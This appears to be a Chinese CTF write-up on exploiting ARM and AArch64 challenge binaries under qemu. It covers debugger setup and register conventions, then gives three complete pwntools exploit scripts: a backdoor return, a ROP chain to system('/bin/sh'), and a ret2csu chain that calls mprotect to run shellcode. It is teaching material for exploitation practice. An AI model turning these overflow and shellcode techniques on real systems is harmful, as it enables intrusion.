两种运行模式
qemu-user
qemu-system
qemu-system 可以进行完整的系统仿真,而 qemu-user 只提供用户态仿真。
安装:
apt search "libc6-" | grep "arm"
sudo apt-get install qemu qemu-user qemu-user-static
qemu-arm -L /usr/arm-linux-gnueabi ./pwn
qemu-aarch64 -L /usr/aarch64-linux-gnu/ ./pwn
下载:
sudo apt-get install gdb-multiarch
调试:
gdb-multiarch pwn -q
set architecture arm
set architecture aarch64
target remote localhost:1234
arm架构的,然后动态链接程序
栈溢出,也有后门,很好解决,这里主要是通过调试去熟悉arm架构的寄存器的操作
可以看到这里寄存器和x86有区别,但是还是可以看个大概,这里我们就直接去通过通过调试去熟悉就可以了
我们直接在exp里面写上
p = process(["qemu-arm","-L","/usr/arm-linux-gnueabi","-g", "1234","./pwn"])
然后开始调试
调试异架构的时候建议直接下断点然后运行过去就可以
这里我直接走到pwnme函数,可以看到bl就相当于call
然后基本确定r0-r2储存前三个参数
然后pc就是相当于rip,sp储存的就是栈顶
r11就类似于rbp
然后这里就是fp储存的栈底去减4赋值给sp
然后就是pop {fp, pc}
从上图调试,大概可以可以看出就是把sp储存的值pop给r11,然后再sp+1,再执行pop pc,沿着sp去执行程序,同时sp指针再加1
import os import sys import time from pwn import * from ctypes import * s = lambda data :p.send(str(data)) sa = lambda delim,data :p.sendafter(str(delim), str(data)) sl = lambda data :p.sendline(str(data)) sla = lambda delim,data :p.sendlineafter(str(delim), str(data)) r = lambda num :p.recv(num) ru = lambda delims, drop=True :p.recvuntil(delims, drop) itr = lambda :p.interactive() uu32 = lambda data :u32(data.ljust(4,b'\x00')) uu64 = lambda data :u64(data.ljust(8,b'\x00')) leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr)) l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00")) l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00")) context.terminal = ['gnome-terminal','-x','sh','-c'] context(arch='arm', os='linux') context.log_level = 'debug' p = process(["qemu-arm","-L","/usr/arm-linux-gnueabi","./pwn"]) #p = process(["qemu-arm","-L","/usr/arm-linux-gnueabi","-g", "1234","./pwn"]) pl = "a" * 0x24 + p32(0x000105EC) sa('>', pl) itr()
这里的ida里面的代码量很大,直接运行程序,去看看有没有溢出就可以
这里可以看出溢出了,所以用gdb调试一下
这里的gdb实际上是不太好调的
如果我们只是输入范围内大小的字符串,调试那里会卡住,所以这里我们输入比较短的字符串很难去得到偏移,所以这里我们直接用cyclic去寻找
先用cyclic去生成一段字符串
然后我们直接输入
直接找出偏移112
然后再找一下gadget
然后找bin/sh
然后顺着bin/sh,找到了类似于system的函数
import os import sys import time from pwn import * from ctypes import * s = lambda data :p.send(str(data)) sa = lambda delim,data :p.sendafter(str(delim), str(data)) sl = lambda data :p.sendline(str(data)) sla = lambda delim,data :p.sendlineafter(str(delim), str(data)) r = lambda num :p.recv(num) ru = lambda delims, drop=True :p.recvuntil(delims, drop) itr = lambda :p.interactive() uu32 = lambda data :u32(data.ljust(4,b'\x00')) uu64 = lambda data :u64(data.ljust(8,b'\x00')) leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr)) l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00")) l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00")) context.terminal = ['gnome-terminal','-x','sh','-c'] context(arch='arm', os='linux') context.log_level = 'debug' p = process(["qemu-arm","-L","/usr/arm-linux-gnueabi","./pwn"]) #p = process(["qemu-arm","-L","/usr/arm-linux-gnueabi","-g", "1234","./pwn"]) r0_r4=0x00020904 bin_sh=0x0006c384 system=0x00010BA8 s('\n') pl='a'*112+p32(r0_r4)+p32(bin_sh)+p32(0)+p32(system) s(pl) itr()
先动调熟悉一下
储存参数的寄存器是x0-x2
然后在ida中我们发现有mprotect函数
然后第一次read是直接读入到bss段,所以这里我们就可以去写shellcode,然后利用mprotect修改权限后调用
然后这里就是类似于csu的gadget
这一段LDP X19, X20, [SP,#var_s10]
意思是将sp+0x10处数据给x19,sp+0x18处数据给0x20
以此类推,后面的汇编表示的是:
将sp+0x20处数据给x21,sp+0x28处数据给0x22
将sp+0x30处数据给x23,sp+0x38处数据给0x24
将sp处数据给x29,sp+0x8处数据给x30
RET ; 返回x30寄存器中存放的地址/PC
这一段的作用就是赋值
然后这一段就是利用x21,x22,x23,x24分别向x3,x2,x1,x0赋值,然后跳转到x3的地址,然后比较x19与x20,相等不跳转
第一次read输入shellcode,然后第二次用csu去调用相应的函数和shellcode
def csu(x19,x20,call_got,x2,x1,x0,call_shell): pl ='a' * offset pl += p64(csu_down) pl += p64(0) + p64(csu_up) pl += p64(x19) + p64(x20) #x19 x20 pl += p64(call_got) + p64(x2) #x21 x22 pl += p64(x1) + p64(x0) #x23 x24 pl += p64(0) + p64(call_shell) pl += p64(0) * 6 return pl
这里的定义的csu就是溢出后调用,先去覆盖返回地址为csu_down,调用后sp指向csu_down,然后按照偏移依次往下构造就可以
import os import sys import time from pwn import * from ctypes import * s = lambda data :p.send(str(data)) sa = lambda delim,data :p.sendafter(str(delim), str(data)) sl = lambda data :p.sendline(str(data)) sla = lambda delim,data :p.sendlineafter(str(delim), str(data)) r = lambda num :p.recv(num) ru = lambda delims, drop=True :p.recvuntil(delims, drop) itr = lambda :p.interactive() uu32 = lambda data :u32(data.ljust(4,b'\x00')) uu64 = lambda data :u64(data.ljust(8,b'\x00')) leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr)) l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00")) l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00")) context.terminal = ['gnome-terminal','-x','sh','-c'] context.arch = 'aarch64' context.os = 'linux' context.log_level = 'debug' p = process(["qemu-aarch64","-L","/usr/aarch64-linux-gnu/","./pwn"]) #p = process(["qemu-aarch64","-L","/usr/aarch64-linux-gnu/","-g", "1234","./pwn"]) mprotect_plt = 0x400600 mprotect_got = 0x411030 csu_down = 0x4008CC csu_up = 0x4008AC offset=0x48 def csu(x19,x20,call_got,x2,x1,x0,call_shell): pl ='a' * offset pl += p64(csu_down) pl += p64(0) + p64(csu_up) pl += p64(x19) + p64(x20) #x19 x20 pl += p64(call_got) + p64(x2) #x21 x22 pl += p64(x1) + p64(x0) #x23 x24 pl += p64(0) + p64(call_shell) pl += p64(0) * 6 return pl shellcode_addr = 0x411068 shellcode = asm(shellcraft.aarch64.sh()) pl = shellcode sa('Name:',pl) pl=csu(0,1,mprotect_got,7,0x1000,shellcode_addr,shellcode_addr) s(pl) itr()